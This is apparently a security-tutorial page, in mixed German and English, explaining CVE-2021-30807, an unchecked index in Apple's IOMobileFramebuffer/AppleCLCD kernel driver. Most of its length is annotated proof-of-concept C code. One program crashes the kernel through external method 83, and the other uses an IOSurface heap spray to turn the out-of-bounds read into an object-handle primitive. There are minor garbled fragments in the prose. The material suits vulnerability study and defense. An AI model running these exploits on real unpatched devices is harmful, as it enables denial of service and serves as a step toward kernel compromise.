CVE-2021-30807: IOMobileFrameBuffer OOB

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Die Schwachstelle

You have a great explanation of the vuln here, but as summary:

• The vulnerable code path is external method #83 of the IOMobileFramebuffer / AppleCLCD user client: IOMobileFramebufferUserClient::s_displayed_fb_surface(...). This method receives a parameter controlled by the user that is not check in any way and that passes to the next function as scalar0.

• That method forwards into IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0), where scalar0 (a user-controlled 32-bit value) is used as an index into an internal array of pointers without any bounds check:

ptr = *(this + 0xA58 + scalar0 * 8); → wird an IOSurfaceRoot::copyPortNameForSurfaceInTask(...) als IOSurface* übergeben.
Result: OOB pointer read & type confusion on that array. Wenn der Pointer nicht gültig ist, bringt eine Kernel-Dereferenzierung das System zum Absturz → DoS.

DoS PoC

Das Folgende ist der ursprüngliche DoS PoC aus dem originalen Blog-Post mit zusätzlichen Kommentaren:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      → IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

Arbitrary Read PoC Erklärt

1. Opening the right user client

• get_appleclcd_uc() findet den AppleCLCD-Service und öffnet user client type 2. AppleCLCD und IOMobileFramebuffer teilen dieselbe external-methods-Tabelle; type 2 macht selector 83 verfügbar, die verwundbare Methode. Das ist dein Einstieg in den Bug. E_POC/)

Why 83 matters: der dekompilierte Pfad ist:

• IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
  → IOMobileFramebufferUserClient::get_displayed_surface(...)
  → IOMobileFramebufferLegacy::get_displayed_surface(...)
  Innerhalb dieses letzten Aufrufs verwendet der Code deinen 32-bit scalar als Array-Index ohne Bounds-Check, liest einen Pointer aus this + 0xA58 + index*8 und gibt ihn als IOSurface* an IOSurfaceRoot::copyPortNameForSurfaceInTask(...) weiter. Das ist das OOB + Type-Confusion.

2. The heap spray (why IOSurface shows up here)

• do_spray() verwendet IOSurfaceRootUserClient, um viele IOSurfaces zu erstellen und kleine Werte zu sprayen (s_set_value-Stil). Dadurch werden benachbarte Kernel-Heaps mit Zeigern auf gültige IOSurface-Objekte gefüllt.

• Ziel: wenn selector 83 über die legitime Tabelle hinausliest, enthält der OOB-Slot wahrscheinlich einen Pointer auf eines deiner (echten) IOSurfaces — sodass die spätere Dereferenz nicht crasht und erfolgreich ist. IOSurface ist ein klassisches, gut dokumentiertes Kernel-spray-Primitive, und Saar erwähnt explizit die create / set_value / lookup Methoden, die für diesen Exploit-Flow verwendet werden.

3. The "offset/8" trick (what that index really is)

• In trigger_oob(offset) setzt du scalars[0] = offset / 8.

• Warum durch 8 teilen? Der Kernel macht base + index*8, um zu berechnen, welche pointer-sized Slot gelesen wird. Du wählst die „Slot-Nummer N“, nicht einen Byte-Offset. Acht Bytes pro Slot auf 64-bit.

• Diese berechnete Adresse ist this + 0xA58 + index*8. Der PoC nutzt eine große Konstante (0x1200000 + 0x1048), einfach um weit außerhalb der Grenzen zu springen in einen Bereich, den du mit IOSurface-Pointern dicht gefüllt hast. Wenn der Spray „gewinnt“, ist der getroffene Slot ein gültiger IOSurface*.

4. What selector 83 returns (this is the subtle part)

• Der Aufruf ist:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

• Intern arbeitet der Treiber, nach dem OOB-Pointer-Fetch, so:
  IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*).

• Ergebnis: output_scalars[0] ist ein Mach-Port-Name (u32-Handle) in deinem Task für welchen Objekt-Pointer auch immer du via OOB geliefert hast. Es ist kein roher Kernel-Adress-leak; es ist ein Userspace-Handle (send right). Dieses genaue Verhalten (Kopieren eines port name) zeigt Saar in seiner Dekompilierung.

Why that's useful: mit einem Port-Name zur (vermeintlichen) IOSurface kannst du nun IOSurfaceRoot-Methoden wie nutzen:

• s_lookup_surface_from_port (method 34) → wandelt den Port in eine surface ID um, mit der du durch andere IOSurface-Aufrufe arbeiten kannst, und

• s_create_port_from_surface (method 35) falls du die Umkehr brauchst.
  Saar nennt genau diese Methoden als nächsten Schritt. Der PoC zeigt, dass du einen legitimen IOSurface-Handle aus einem OOB-Slot „herstellen“ kannst. Saaramar

Dieses PoC was taken from here und mit einigen Kommentaren versehen, um die Schritte zu erklären:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  ⭐
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  ⭐

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk → deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  ⭐
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The “with_gc” flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

Referenzen

• Original-Writeup von Saar Amar
• Exploit PoC-Code
• Analyse von jsherman212